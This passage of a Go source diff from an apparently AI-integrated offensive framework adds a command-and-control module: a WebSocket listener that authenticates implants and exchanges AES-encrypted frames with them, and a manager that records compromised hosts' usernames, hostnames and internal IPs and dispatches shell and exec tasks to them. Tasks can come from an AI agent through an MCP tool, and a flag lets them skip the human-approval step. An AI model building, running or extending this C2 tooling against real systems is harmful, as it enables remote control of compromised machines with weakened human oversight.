func drainStaleData(r *bufio.Reader, conn net.Conn) {
|
||||
buf := make([]byte, 4096)
|
||||
for {
|
||||
_ = conn.SetReadDeadline(time.Now().Add(200 * time.Millisecond))
|
||||
n, err := r.Read(buf)
|
||||
if n == 0 || err != nil {
|
||||
break
|
||||
}
|
||||
}
|
||||
// 恢复较长的读超时
|
||||
_ = conn.SetReadDeadline(time.Time{})
|
||||
}
|
||||
|
||||
var shellPromptRe = regexp.MustCompile(`(?m)^.*?(bash[\-\d.]*\$|[\$#%>]\s*)$`)
|
||||
|
||||
// cleanShellOutput 过滤 bash 提示符行和命令回显,返回干净的命令输出
|
||||
func cleanShellOutput(raw, cmd string) string {
|
||||
lines := strings.Split(raw, "\n")
|
||||
var cleaned []string
|
||||
cmdTrimmed := strings.TrimSpace(cmd)
|
||||
echoSkipped := false
|
||||
for _, line := range lines {
|
||||
trimmed := strings.TrimRight(line, "\r \t")
|
||||
// 跳过命令回显行(bash 会 echo 回输入的命令)
|
||||
if !echoSkipped && cmdTrimmed != "" && strings.Contains(trimmed, cmdTrimmed) {
|
||||
echoSkipped = true
|
||||
continue
|
||||
}
|
||||
// 跳过纯 shell 提示符行
|
||||
if shellPromptRe.MatchString(trimmed) && len(strings.TrimSpace(shellPromptRe.ReplaceAllString(trimmed, ""))) == 0 {
|
||||
continue
|
||||
}
|
||||
cleaned = append(cleaned, line)
|
||||
}
|
||||
result := strings.Join(cleaned, "\n")
|
||||
return strings.TrimSpace(result)
|
||||
}
|
||||
@@ -0,0 +1,297 @@
|
||||
package c2
|
||||
|
||||
import (
|
||||
"context"
|
||||
"crypto/subtle"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"fmt"
|
||||
"net"
|
||||
"net/http"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"cyberstrike-ai/internal/database"
|
||||
|
||||
"github.com/gorilla/websocket"
|
||||
"go.uber.org/zap"
|
||||
)
|
||||
|
||||
// WebSocketListener 提供低延迟的双向 WebSocket Beacon。
|
||||
// 与 HTTP Beacon 相比:
|
||||
// - beacon 与服务端保持长连接,无需轮询,新任务可"秒到";
|
||||
// - 适合需要交互式快速响应的场景(如实时键盘 / 流式输出);
|
||||
// - 协议依然走 AES-256-GCM,握手时校验 X-Implant-Token;
|
||||
// - 一个 listener 仅处理一个 WS 路径(默认 /ws),但可承载多个并发 implant。
|
||||
//
|
||||
// 帧协议(皆为加密后 base64 字符串走 TextMessage):
|
||||
// client → server:{"type":"checkin"|"result", "data": <ImplantCheckInRequest|TaskResultReport>}
|
||||
// server → client:{"type":"task", "data": <TaskEnvelope>} 或 {"type":"sleep","data":{"sleep":N,"jitter":J}}
|
||||
type WebSocketListener struct {
|
||||
rec *database.C2Listener
|
||||
cfg *ListenerConfig
|
||||
manager *Manager
|
||||
logger *zap.Logger
|
||||
|
||||
srv *http.Server
|
||||
upgrader websocket.Upgrader
|
||||
|
||||
mu sync.Mutex
|
||||
conns map[string]*wsConn // session_id → 连接
|
||||
stopped bool
|
||||
stopCh chan struct{}
|
||||
}
|
||||
|
||||
// wsConn 单个 WS implant 的内存状态
|
||||
type wsConn struct {
|
||||
sessionID string
|
||||
ws *websocket.Conn
|
||||
writeMu sync.Mutex // websocket 同一连接同一时间只能一个 writer
|
||||
}
|
||||
|
||||
// NewWebSocketListener 工厂(注册到 ListenerRegistry["websocket"])
|
||||
func NewWebSocketListener(ctx ListenerCreationCtx) (Listener, error) {
|
||||
return &WebSocketListener{
|
||||
rec: ctx.Listener,
|
||||
cfg: ctx.Config,
|
||||
manager: ctx.Manager,
|
||||
logger: ctx.Logger,
|
||||
stopCh: make(chan struct{}),
|
||||
conns: make(map[string]*wsConn),
|
||||
upgrader: websocket.Upgrader{
|
||||
ReadBufferSize: 4096,
|
||||
WriteBufferSize: 4096,
|
||||
// 允许任意 Origin(implant 不带 Origin 或随便填)
|
||||
CheckOrigin: func(r *http.Request) bool { return true },
|
||||
},
|
||||
}, nil
|
||||
}
|
||||
|
||||
// Type 类型
|
||||
func (l *WebSocketListener) Type() string { return string(ListenerTypeWebSocket) }
|
||||
|
||||
// Start 启动 HTTP server 接收 WS 升级
|
||||
func (l *WebSocketListener) Start() error {
|
||||
mux := http.NewServeMux()
|
||||
wsPath := l.cfg.BeaconCheckInPath
|
||||
if wsPath == "" || wsPath == "/check_in" {
|
||||
// websocket 默认路径单独定义,避免与 HTTP Beacon 默认路径混淆
|
||||
wsPath = "/ws"
|
||||
}
|
||||
mux.HandleFunc(wsPath, l.handleWS)
|
||||
|
||||
addr := fmt.Sprintf("%s:%d", l.rec.BindHost, l.rec.BindPort)
|
||||
ln, err := net.Listen("tcp", addr)
|
||||
if err != nil {
|
||||
if isAddrInUse(err) {
|
||||
return ErrPortInUse
|
||||
}
|
||||
return err
|
||||
}
|
||||
l.srv = &http.Server{
|
||||
Addr: addr,
|
||||
Handler: mux,
|
||||
ReadHeaderTimeout: 15 * time.Second,
|
||||
}
|
||||
go func() {
|
||||
if err := l.srv.Serve(ln); err != nil && !errors.Is(err, http.ErrServerClosed) {
|
||||
l.logger.Warn("websocket Serve exited", zap.Error(err))
|
||||
}
|
||||
}()
|
||||
go l.taskDispatcherLoop()
|
||||
return nil
|
||||
}
|
||||
|
||||
// Stop 优雅关闭:通知所有 WS 客户端,关闭 server
|
||||
func (l *WebSocketListener) Stop() error {
|
||||
l.mu.Lock()
|
||||
if l.stopped {
|
||||
l.mu.Unlock()
|
||||
return nil
|
||||
}
|
||||
l.stopped = true
|
||||
close(l.stopCh)
|
||||
conns := make([]*wsConn, 0, len(l.conns))
|
||||
for _, c := range l.conns {
|
||||
conns = append(conns, c)
|
||||
}
|
||||
l.conns = make(map[string]*wsConn)
|
||||
l.mu.Unlock()
|
||||
for _, c := range conns {
|
||||
_ = c.ws.WriteControl(websocket.CloseMessage,
|
||||
websocket.FormatCloseMessage(websocket.CloseGoingAway, "shutdown"),
|
||||
time.Now().Add(time.Second))
|
||||
_ = c.ws.Close()
|
||||
}
|
||||
if l.srv != nil {
|
||||
ctx, cancel := contextWithTimeout(5 * time.Second)
|
||||
defer cancel()
|
||||
_ = l.srv.Shutdown(ctx)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (l *WebSocketListener) handleWS(w http.ResponseWriter, r *http.Request) {
|
||||
got := r.Header.Get("X-Implant-Token")
|
||||
if got == "" || l.rec.ImplantToken == "" ||
|
||||
subtle.ConstantTimeCompare([]byte(got), []byte(l.rec.ImplantToken)) != 1 {
|
||||
http.NotFound(w, r)
|
||||
return
|
||||
}
|
||||
ws, err := l.upgrader.Upgrade(w, r, nil)
|
||||
if err != nil {
|
||||
l.logger.Warn("websocket 升级失败", zap.Error(err))
|
||||
return
|
||||
}
|
||||
go l.handleConn(ws)
|
||||
}
|
||||
|
||||
// handleConn 处理一个 WS 连接的完整生命周期:等待 checkin → 登记 session → 读循环
|
||||
func (l *WebSocketListener) handleConn(ws *websocket.Conn) {
|
||||
ws.SetReadLimit(64 << 20)
|
||||
ws.SetReadDeadline(time.Now().Add(60 * time.Second))
|
||||
ws.SetPongHandler(func(string) error {
|
||||
ws.SetReadDeadline(time.Now().Add(60 * time.Second))
|
||||
return nil
|
||||
})
|
||||
|
||||
// 第一帧必须是 checkin
|
||||
frameType, body, err := readEncryptedFrame(ws, l.rec.EncryptionKey)
|
||||
if err != nil || frameType != "checkin" {
|
||||
_ = ws.Close()
|
||||
return
|
||||
}
|
||||
var req ImplantCheckInRequest
|
||||
if err := json.Unmarshal(body, &req); err != nil {
|
||||
_ = ws.Close()
|
||||
return
|
||||
}
|
||||
if req.SleepSeconds <= 0 {
|
||||
req.SleepSeconds = l.cfg.DefaultSleep
|
||||
}
|
||||
session, err := l.manager.IngestCheckIn(l.rec.ID, req)
|
||||
if err != nil {
|
||||
_ = ws.Close()
|
||||
return
|
||||
}
|
||||
conn := &wsConn{sessionID: session.ID, ws: ws}
|
||||
l.mu.Lock()
|
||||
l.conns[session.ID] = conn
|
||||
l.mu.Unlock()
|
||||
defer func() {
|
||||
l.mu.Lock()
|
||||
delete(l.conns, session.ID)
|
||||
l.mu.Unlock()
|
||||
_ = ws.Close()
|
||||
_ = l.manager.MarkSessionDead(session.ID)
|
||||
}()
|
||||
|
||||
// 心跳 goroutine
|
||||
pingTicker := time.NewTicker(20 * time.Second)
|
||||
defer pingTicker.Stop()
|
||||
go func() {
|
||||
for {
|
||||
select {
|
||||
case <-l.stopCh:
|
||||
return
|
||||
case <-pingTicker.C:
|
||||
conn.writeMu.Lock()
|
||||
_ = ws.WriteControl(websocket.PingMessage, nil, time.Now().Add(5*time.Second))
|
||||
conn.writeMu.Unlock()
|
||||
}
|
||||
}
|
||||
}()
|
||||
|
||||
// 主读循环:处理 result 等帧
|
||||
for {
|
||||
frameType, body, err := readEncryptedFrame(ws, l.rec.EncryptionKey)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
switch frameType {
|
||||
case "result":
|
||||
var report TaskResultReport
|
||||
if err := json.Unmarshal(body, &report); err == nil {
|
||||
_ = l.manager.IngestTaskResult(report)
|
||||
}
|
||||
case "checkin":
|
||||
// 心跳更新:beacon 周期性送上心跳
|
||||
var hb ImplantCheckInRequest
|
||||
if err := json.Unmarshal(body, &hb); err == nil {
|
||||
_ = l.manager.DB().TouchC2Session(session.ID, string(SessionActive), time.Now())
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// taskDispatcherLoop 周期扫描所有活动 WS 会话,下发任务
|
||||
func (l *WebSocketListener) taskDispatcherLoop() {
|
||||
t := time.NewTicker(500 * time.Millisecond)
|
||||
defer t.Stop()
|
||||
for {
|
||||
select {
|
||||
case <-l.stopCh:
|
||||
return
|
||||
case <-t.C:
|
||||
l.mu.Lock()
|
||||
snapshot := make([]*wsConn, 0, len(l.conns))
|
||||
for _, c := range l.conns {
|
||||
snapshot = append(snapshot, c)
|
||||
}
|
||||
l.mu.Unlock()
|
||||
for _, c := range snapshot {
|
||||
envelopes, err := l.manager.PopTasksForBeacon(c.sessionID, 20)
|
||||
if err != nil || len(envelopes) == 0 {
|
||||
continue
|
||||
}
|
||||
for _, env := range envelopes {
|
||||
l.sendTaskFrame(c, env)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (l *WebSocketListener) sendTaskFrame(c *wsConn, env TaskEnvelope) {
|
||||
frame := map[string]interface{}{"type": "task", "data": env}
|
||||
body, err := json.Marshal(frame)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
enc, err := EncryptAESGCM(l.rec.EncryptionKey, body)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
c.writeMu.Lock()
|
||||
defer c.writeMu.Unlock()
|
||||
_ = c.ws.SetWriteDeadline(time.Now().Add(10 * time.Second))
|
||||
_ = c.ws.WriteMessage(websocket.TextMessage, []byte(enc))
|
||||
}
|
||||
|
||||
// readEncryptedFrame 读一帧加密 WS 文本,返回类型和明文 data
|
||||
func readEncryptedFrame(ws *websocket.Conn, key string) (string, []byte, error) {
|
||||
mt, raw, err := ws.ReadMessage()
|
||||
if err != nil {
|
||||
return "", nil, err
|
||||
}
|
||||
if mt != websocket.TextMessage && mt != websocket.BinaryMessage {
|
||||
return "", nil, errors.New("unexpected ws frame type")
|
||||
}
|
||||
plain, err := DecryptAESGCM(key, string(raw))
|
||||
if err != nil {
|
||||
return "", nil, err
|
||||
}
|
||||
var env struct {
|
||||
Type string `json:"type"`
|
||||
Data json.RawMessage `json:"data"`
|
||||
}
|
||||
if err := json.Unmarshal(plain, &env); err != nil {
|
||||
return "", nil, err
|
||||
}
|
||||
return env.Type, env.Data, nil
|
||||
}
|
||||
|
||||
// contextWithTimeout 简单封装,避免 listener 文件之间反复 import context
|
||||
func contextWithTimeout(d time.Duration) (context.Context, context.CancelFunc) {
|
||||
return context.WithTimeout(context.Background(), d)
|
||||
}
|
||||
@@ -0,0 +1,779 @@
|
||||
package c2
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"fmt"
|
||||
"path/filepath"
|
||||
"regexp"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"cyberstrike-ai/internal/database"
|
||||
|
||||
"github.com/google/uuid"
|
||||
"go.uber.org/zap"
|
||||
)
|
||||
|
||||
// Manager 是 C2 模块对外的统一门面:
|
||||
// - HTTP handler / MCP 工具 / 多代理 / 攻击链记录器 全部通过 Manager 操作 C2,
|
||||
// 不直接接触 listener 实现细节,避免循环依赖;
|
||||
// - 持有数据库句柄 + 事件总线 + 内存中的 listener 实例 map;
|
||||
// - 启动期可调用 RestoreRunningListeners() 把 status=running 的 listener 重新拉起。
|
||||
//
|
||||
// 实例化由 internal/app 负责,注入到全局 App 之后再分别交给 handler / mcp.
|
||||
type Manager struct {
|
||||
db *database.DB
|
||||
logger *zap.Logger
|
||||
bus *EventBus
|
||||
registry *ListenerRegistry
|
||||
|
||||
mu sync.RWMutex
|
||||
runningListeners map[string]Listener // listener_id → 已 Start 的 listener 实例
|
||||
storageDir string // 大结果(截图/下载)落盘根目录
|
||||
|
||||
hitlBridge HITLBridge // 危险任务在 EnqueueTask 时调它发起审批(nil 表示不接 HITL)
|
||||
hitlDangerousGate func(conversationID, mcpToolName string) bool // 与人机协同一致:为 nil 或返回 false 时不走桥
|
||||
hooks Hooks // 扩展挂钩:会话上线 / 任务完成 时通知漏洞库与攻击链
|
||||
}
|
||||
|
||||
// MCPToolC2Task 与 MCP builtin、c2_task 工具名一致,供 HITL 白名单与 Agent 侧对齐。
|
||||
const MCPToolC2Task = "c2_task"
|
||||
|
||||
// HITLBridge 把"危险任务"桥到现有 internal/handler/hitl 审批流的接口。
|
||||
// internal/app 实例化时传入;空实现表示禁用 HITL 拦截(开发期方便)。
|
||||
type HITLBridge interface {
|
||||
// RequestApproval 阻塞等待人工审批;返回 nil 表示批准,error 表示拒绝/超时。
|
||||
// ctx 携带用户/会话信息;危险任务调用时会创建超时 ctx 避免无限挂起。
|
||||
RequestApproval(ctx context.Context, req HITLApprovalRequest) error
|
||||
}
|
||||
|
||||
// HITLApprovalRequest 待审批的 C2 操作描述
|
||||
type HITLApprovalRequest struct {
|
||||
TaskID string
|
||||
SessionID string
|
||||
TaskType string
|
||||
PayloadJSON string
|
||||
ConversationID string
|
||||
Source string
|
||||
Reason string
|
||||
}
|
||||
|
||||
// Hooks 给上层(漏洞管理 / 攻击链)注入回调
|
||||
type Hooks struct {
|
||||
OnSessionFirstSeen func(session *database.C2Session) // 新会话首次上线
|
||||
OnTaskCompleted func(task *database.C2Task, sessionID string) // 任务完成(success/failed)
|
||||
}
|
||||
|
||||
// NewManager 创建 Manager;不会启动任何 listener,请显式调 RestoreRunningListeners
|
||||
func NewManager(db *database.DB, logger *zap.Logger, storageDir string) *Manager {
|
||||
if logger == nil {
|
||||
logger = zap.NewNop()
|
||||
}
|
||||
if storageDir == "" {
|
||||
storageDir = "tmp/c2"
|
||||
}
|
||||
return &Manager{
|
||||
db: db,
|
||||
logger: logger,
|
||||
bus: NewEventBus(),
|
||||
registry: NewListenerRegistry(),
|
||||
runningListeners: make(map[string]Listener),
|
||||
storageDir: storageDir,
|
||||
}
|
||||
}
|
||||
|
||||
// SetHITLBridge 设置危险任务审批桥;nil 表示禁用
|
||||
func (m *Manager) SetHITLBridge(b HITLBridge) {
|
||||
m.mu.Lock()
|
||||
m.hitlBridge = b
|
||||
m.mu.Unlock()
|
||||
}
|
||||
|
||||
// SetHITLDangerousGate 设置 C2 危险任务是否应走 HITL 桥;须与 Agent 人机协同判定一致(例如 handler.HITLManager.NeedsToolApproval)。
|
||||
// gate 为 nil 时,即使已设置桥也不会对危险任务发起审批(与未开启人机协同时其他工具行为一致)。
|
||||
func (m *Manager) SetHITLDangerousGate(gate func(conversationID, mcpToolName string) bool) {
|
||||
m.mu.Lock()
|
||||
m.hitlDangerousGate = gate
|
||||
m.mu.Unlock()
|
||||
}
|
||||
|
||||
// SetHooks 注入业务钩子
|
||||
func (m *Manager) SetHooks(h Hooks) {
|
||||
m.mu.Lock()
|
||||
m.hooks = h
|
||||
m.mu.Unlock()
|
||||
}
|
||||
|
||||
// EventBus 暴露事件总线给 SSE handler
|
||||
func (m *Manager) EventBus() *EventBus { return m.bus }
|
||||
|
||||
// DB 暴露 DB 句柄给 handler/mcptools 直接读写(避免到处包装)
|
||||
func (m *Manager) DB() *database.DB { return m.db }
|
||||
|
||||
// Logger 暴露日志句柄
|
||||
func (m *Manager) Logger() *zap.Logger { return m.logger }
|
||||
|
||||
// StorageDir 大结果落盘根目录
|
||||
func (m *Manager) StorageDir() string { return m.storageDir }
|
||||
|
||||
// Registry 暴露 listener 注册表,便于在 internal/app 启动时按 type 注册具体实现
|
||||
func (m *Manager) Registry() *ListenerRegistry { return m.registry }
|
||||
|
||||
// Close 优雅关闭:停掉所有运行中的 listener,关闭事件总线
|
||||
func (m *Manager) Close() {
|
||||
m.mu.Lock()
|
||||
listeners := make([]Listener, 0, len(m.runningListeners))
|
||||
for _, l := range m.runningListeners {
|
||||
listeners = append(listeners, l)
|
||||
}
|
||||
m.runningListeners = make(map[string]Listener)
|
||||
m.mu.Unlock()
|
||||
for _, l := range listeners {
|
||||
_ = l.Stop()
|
||||
}
|
||||
m.bus.Close()
|
||||
}
|
||||
|
||||
// ----------------------------------------------------------------------------
|
||||
// Listener 生命周期
|
||||
// ----------------------------------------------------------------------------
|
||||
|
||||
// CreateListenerInput Web/MCP 创建监听器的入参(已校验 + 已 trim)
|
||||
type CreateListenerInput struct {
|
||||
Name string
|
||||
Type string
|
||||
BindHost string
|
||||
BindPort int
|
||||
ProfileID string
|
||||
Remark string
|
||||
Config *ListenerConfig
|
||||
// CallbackHost 非空时写入 config_json.callback_host,供 Payload 默认回连(不修改 bind)
|
||||
CallbackHost string
|
||||
}
|
||||
|
||||
// CreateListener 校验并落库;不自动启动(与 systemd unit 一致:先创建后启动)
|
||||
func (m *Manager) CreateListener(in CreateListenerInput) (*database.C2Listener, error) {
|
||||
if strings.TrimSpace(in.Name) == "" {
|
||||
return nil, ErrInvalidInput
|
||||
}
|
||||
if !IsValidListenerType(in.Type) {
|
||||
return nil, ErrUnsupportedType
|
||||
}
|
||||
if err := SafeBindPort(in.BindPort); err != nil {
|
||||
return nil, &CommonError{Code: "invalid_port", Message: err.Error(), HTTP: 400}
|
||||
}
|
||||
bindHost := strings.TrimSpace(in.BindHost)
|
||||
if bindHost == "" {
|
||||
bindHost = "127.0.0.1" // 默认绑定环回,需要外网时操作员显式改
|
||||
}
|
||||
cfg := in.Config
|
||||
if cfg == nil {
|
||||
cfg = &ListenerConfig{}
|
||||
} else {
|
||||
cp := *cfg
|
||||
cfg = &cp
|
||||
}
|
||||
if ch := strings.TrimSpace(in.CallbackHost); ch != "" {
|
||||
cfg.CallbackHost = ch
|
||||
}
|
||||
cfg.ApplyDefaults()
|
||||
cfgJSON, err := json.Marshal(cfg)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("marshal listener config: %w", err)
|
||||
}
|
||||
keyB64, err := GenerateAESKey()
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("generate key: %w", err)
|
||||
}
|
||||
tokenB64, err := GenerateImplantToken()
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("generate token: %w", err)
|
||||
}
|
||||
|
||||
listener := &database.C2Listener{
|
||||
ID: "l_" + strings.ReplaceAll(uuid.New().String(), "-", "")[:14],
|
||||
Name: strings.TrimSpace(in.Name),
|
||||
Type: strings.ToLower(strings.TrimSpace(in.Type)),
|
||||
BindHost: bindHost,
|
||||
BindPort: in.BindPort,
|
||||
ProfileID: strings.TrimSpace(in.ProfileID),
|
||||
EncryptionKey: keyB64,
|
||||
ImplantToken: tokenB64,
|
||||
Status: "stopped",
|
||||
ConfigJSON: string(cfgJSON),
|
||||
Remark: strings.TrimSpace(in.Remark),
|
||||
CreatedAt: time.Now(),
|
||||
}
|
||||
if err := m.db.CreateC2Listener(listener); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
m.publishEvent("info", "listener", "", "", fmt.Sprintf("监听器 %s 已创建", listener.Name), map[string]interface{}{
|
||||
"listener_id": listener.ID,
|
||||
"type": listener.Type,
|
||||
})
|
||||
return listener, nil
|
||||
}
|
||||
|
||||
// StartListener 启动指定 listener;幂等(已运行时返回 ErrListenerRunning)
|
||||
func (m *Manager) StartListener(id string) (*database.C2Listener, error) {
|
||||
rec, err := m.db.GetC2Listener(id)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if rec == nil {
|
||||
return nil, ErrListenerNotFound
|
||||
}
|
||||
m.mu.Lock()
|
||||
if _, ok := m.runningListeners[id]; ok {
|
||||
m.mu.Unlock()
|
||||
return rec, ErrListenerRunning
|
||||
}
|
||||
m.mu.Unlock()
|
||||
|
||||
cfg := &ListenerConfig{}
|
||||
if rec.ConfigJSON != "" {
|
||||
_ = json.Unmarshal([]byte(rec.ConfigJSON), cfg)
|
||||
}
|
||||
cfg.ApplyDefaults()
|
||||
|
||||
// 通过工厂创建具体实现。必须使用 rec 的副本:HTTP handler 在返回 JSON 前会清空
|
||||
// rec.ImplantToken / EncryptionKey 做脱敏,若 listener 实现持有同一指针会导致 beacon 鉴权永久失败。
|
||||
listenerRec := *rec
|
||||
factory := m.registry.Get(rec.Type)
|
||||
if factory == nil {
|
||||
return nil, ErrUnsupportedType
|
||||
}
|
||||
inst, err := factory(ListenerCreationCtx{
|
||||
Listener: &listenerRec,
|
||||
Config: cfg,
|
||||
Manager: m,
|
||||
Logger: m.logger.With(zap.String("listener_id", rec.ID), zap.String("type", rec.Type)),
|
||||
})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if err := inst.Start(); err != nil {
|
||||
now := time.Now()
|
||||
_ = m.db.SetC2ListenerStatus(rec.ID, "error", err.Error(), &now)
|
||||
m.publishEvent("warn", "listener", "", "", fmt.Sprintf("监听器 %s 启动失败: %v", rec.Name, err), map[string]interface{}{
|
||||
"listener_id": rec.ID,
|
||||
})
|
||||
return nil, err
|
||||
}
|
||||
m.mu.Lock()
|
||||
m.runningListeners[rec.ID] = inst
|
||||
m.mu.Unlock()
|
||||
now := time.Now()
|
||||
_ = m.db.SetC2ListenerStatus(rec.ID, "running", "", &now)
|
||||
rec.Status = "running"
|
||||
rec.StartedAt = &now
|
||||
rec.LastError = ""
|
||||
m.publishEvent("info", "listener", "", "", fmt.Sprintf("监听器 %s 已启动", rec.Name), map[string]interface{}{
|
||||
"listener_id": rec.ID,
|
||||
"bind": fmt.Sprintf("%s:%d", rec.BindHost, rec.BindPort),
|
||||
})
|
||||
return rec, nil
|
||||
}
|
||||
|
||||
// StopListener 停止;幂等(未运行时返回 ErrListenerStopped)
|
||||
func (m *Manager) StopListener(id string) error {
|
||||
m.mu.Lock()
|
||||
inst, ok := m.runningListeners[id]
|
||||
if ok {
|
||||
delete(m.runningListeners, id)
|
||||
}
|
||||
m.mu.Unlock()
|
||||
if !ok {
|
||||
return ErrListenerStopped
|
||||
}
|
||||
if err := inst.Stop(); err != nil {
|
||||
return err
|
||||
}
|
||||
_ = m.db.SetC2ListenerStatus(id, "stopped", "", nil)
|
||||
rec, _ := m.db.GetC2Listener(id)
|
||||
name := id
|
||||
if rec != nil {
|
||||
name = rec.Name
|
||||
}
|
||||
m.publishEvent("info", "listener", "", "", fmt.Sprintf("监听器 %s 已停止", name), map[string]interface{}{
|
||||
"listener_id": id,
|
||||
})
|
||||
return nil
|
||||
}
|
||||
|
||||
// DeleteListener 停止并删除(级联 sessions/tasks/files)
|
||||
func (m *Manager) DeleteListener(id string) error {
|
||||
_ = m.StopListener(id)
|
||||
return m.db.DeleteC2Listener(id)
|
||||
}
|
||||
|
||||
// IsListenerRunning 内存中的运行状态(DB 中的 status 可能因崩溃而过时)
|
||||
func (m *Manager) IsListenerRunning(id string) bool {
|
||||
m.mu.RLock()
|
||||
defer m.mu.RUnlock()
|
||||
_, ok := m.runningListeners[id]
|
||||
return ok
|
||||
}
|
||||
|
||||
// RestoreRunningListeners 启动期把 DB 中 status=running 的 listener 重新拉起;
|
||||
// 失败的会被改为 status=error,不会阻塞整个 App 启动。
|
||||
func (m *Manager) RestoreRunningListeners() {
|
||||
listeners, err := m.db.ListC2Listeners()
|
||||
if err != nil {
|
||||
m.logger.Warn("恢复 C2 listener 失败:列表查询出错", zap.Error(err))
|
||||
return
|
||||
}
|
||||
for _, l := range listeners {
|
||||
if l.Status != "running" {
|
||||
continue
|
||||
}
|
||||
if _, err := m.StartListener(l.ID); err != nil && !errors.Is(err, ErrListenerRunning) {
|
||||
m.logger.Warn("恢复 C2 listener 失败", zap.String("listener_id", l.ID), zap.Error(err))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// ----------------------------------------------------------------------------
|
||||
// Session 生命周期
|
||||
// ----------------------------------------------------------------------------
|
||||
|
||||
// IngestCheckIn beacon 上线/心跳的统一入口。
|
||||
// 行为:
|
||||
// 1. 若 implant_uuid 已有会话 → 更新心跳/状态
|
||||
// 2. 否则创建新会话,触发 OnSessionFirstSeen 钩子
|
||||
func (m *Manager) IngestCheckIn(listenerID string, req ImplantCheckInRequest) (*database.C2Session, error) {
|
||||
if strings.TrimSpace(req.ImplantUUID) == "" {
|
||||
return nil, ErrInvalidInput
|
||||
}
|
||||
existing, err := m.db.GetC2SessionByImplantUUID(req.ImplantUUID)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
now := time.Now()
|
||||
isFirstSeen := existing == nil
|
||||
var sessID string
|
||||
if existing != nil {
|
||||
sessID = existing.ID
|
||||
} else {
|
||||
sessID = "s_" + strings.ReplaceAll(uuid.New().String(), "-", "")[:14]
|
||||
}
|
||||
session := &database.C2Session{
|
||||
ID: sessID,
|
||||
ListenerID: listenerID,
|
||||
ImplantUUID: req.ImplantUUID,
|
||||
Hostname: req.Hostname,
|
||||
Username: req.Username,
|
||||
OS: strings.ToLower(req.OS),
|
||||
Arch: strings.ToLower(req.Arch),
|
||||
PID: req.PID,
|
||||
ProcessName: req.ProcessName,
|
||||
IsAdmin: req.IsAdmin,
|
||||
InternalIP: req.InternalIP,
|
||||
UserAgent: req.UserAgent,
|
||||
SleepSeconds: req.SleepSeconds,
|
||||
JitterPercent: req.JitterPercent,
|
||||
Status: string(SessionActive),
|
||||
FirstSeenAt: now,
|
||||
LastCheckIn: now,
|
||||
Metadata: req.Metadata,
|
||||
}
|
||||
if existing != nil {
|
||||
// 保留原 ID/FirstSeenAt/Note,避免被覆盖
|
||||
session.FirstSeenAt = existing.FirstSeenAt
|
||||
if session.Note == "" {
|
||||
session.Note = existing.Note
|
||||
}
|
||||
}
|
||||
if err := m.db.UpsertC2Session(session); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if isFirstSeen {
|
||||
m.publishEvent("critical", "session", session.ID, "",
|
||||
fmt.Sprintf("新会话上线: %s@%s (%s/%s)", session.Username, session.Hostname, session.OS, session.Arch),
|
||||
map[string]interface{}{
|
||||
"session_id": session.ID,
|
||||
"listener_id": listenerID,
|
||||
"hostname": session.Hostname,
|
||||
"os": session.OS,
|
||||
"arch": session.Arch,
|
||||
"internal_ip": session.InternalIP,
|
||||
})
|
||||
m.mu.RLock()
|
||||
hook := m.hooks.OnSessionFirstSeen
|
||||
m.mu.RUnlock()
|
||||
if hook != nil {
|
||||
go hook(session)
|
||||
}
|
||||
}
|
||||
// 普通心跳:last_check_in 已由 UpsertC2Session 写入 c2_sessions,不再落 c2_events。
|
||||
// 否则按 sleep 周期每条心跳一条审计,库表与 SSE 会被迅速撑爆;上线/掉线等仍照常 publishEvent。
|
||||
return session, nil
|
||||
}
|
||||
|
||||
// MarkSessionDead 心跳超时检测器调用:标记会话为 dead
|
||||
func (m *Manager) MarkSessionDead(sessionID string) error {
|
||||
if err := m.db.SetC2SessionStatus(sessionID, string(SessionDead)); err != nil {
|
||||
return err
|
||||
}
|
||||
m.publishEvent("warn", "session", sessionID, "", "会话已离线(心跳超时)", nil)
|
||||
return nil
|
||||
}
|
||||
|
||||
// ----------------------------------------------------------------------------
|
||||
// Task 生命周期
|
||||
// ----------------------------------------------------------------------------
|
||||
|
||||
// EnqueueTaskInput 下发任务入参
|
||||
type EnqueueTaskInput struct {
|
||||
SessionID string
|
||||
TaskType TaskType
|
||||
Payload map[string]interface{}
|
||||
Source string // manual|ai|batch|api
|
||||
ConversationID string
|
||||
UserCtx context.Context // 给 HITL 用
|
||||
BypassHITL bool // true 表示跳过 HITL 审批(仅供白名单机制 / 系统内部用)
|
||||
}
|
||||
|
||||
// EnqueueTask 入队一个新任务;若任务类型危险且未 BypassHITL,且 SetHITLDangerousGate 对当前会话与 MCPToolC2Task 返回 true,才会调 HITL 桥审批。
|
||||
// 返回任务记录;任务派发由 PopTasksForBeacon 在 beacon 拉任务时完成。
|
||||
func (m *Manager) EnqueueTask(in EnqueueTaskInput) (*database.C2Task, error) {
|
||||
if strings.TrimSpace(in.SessionID) == "" {
|
||||
return nil, ErrInvalidInput
|
||||
}
|
||||
session, err := m.db.GetC2Session(in.SessionID)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if session == nil {
|
||||
return nil, ErrSessionNotFound
|
||||
}
|
||||
if session.Status == string(SessionDead) || session.Status == string(SessionKilled) {
|
||||
return nil, &CommonError{Code: "session_inactive", Message: "会话已离线,无法下发任务", HTTP: 409}
|
||||
}
|
||||
|
||||
// OPSEC: command deny regex enforcement
|
||||
if in.TaskType == TaskTypeExec || in.TaskType == TaskTypeShell {
|
||||
cmd, _ := in.Payload["command"].(string)
|
||||
if cmd != "" {
|
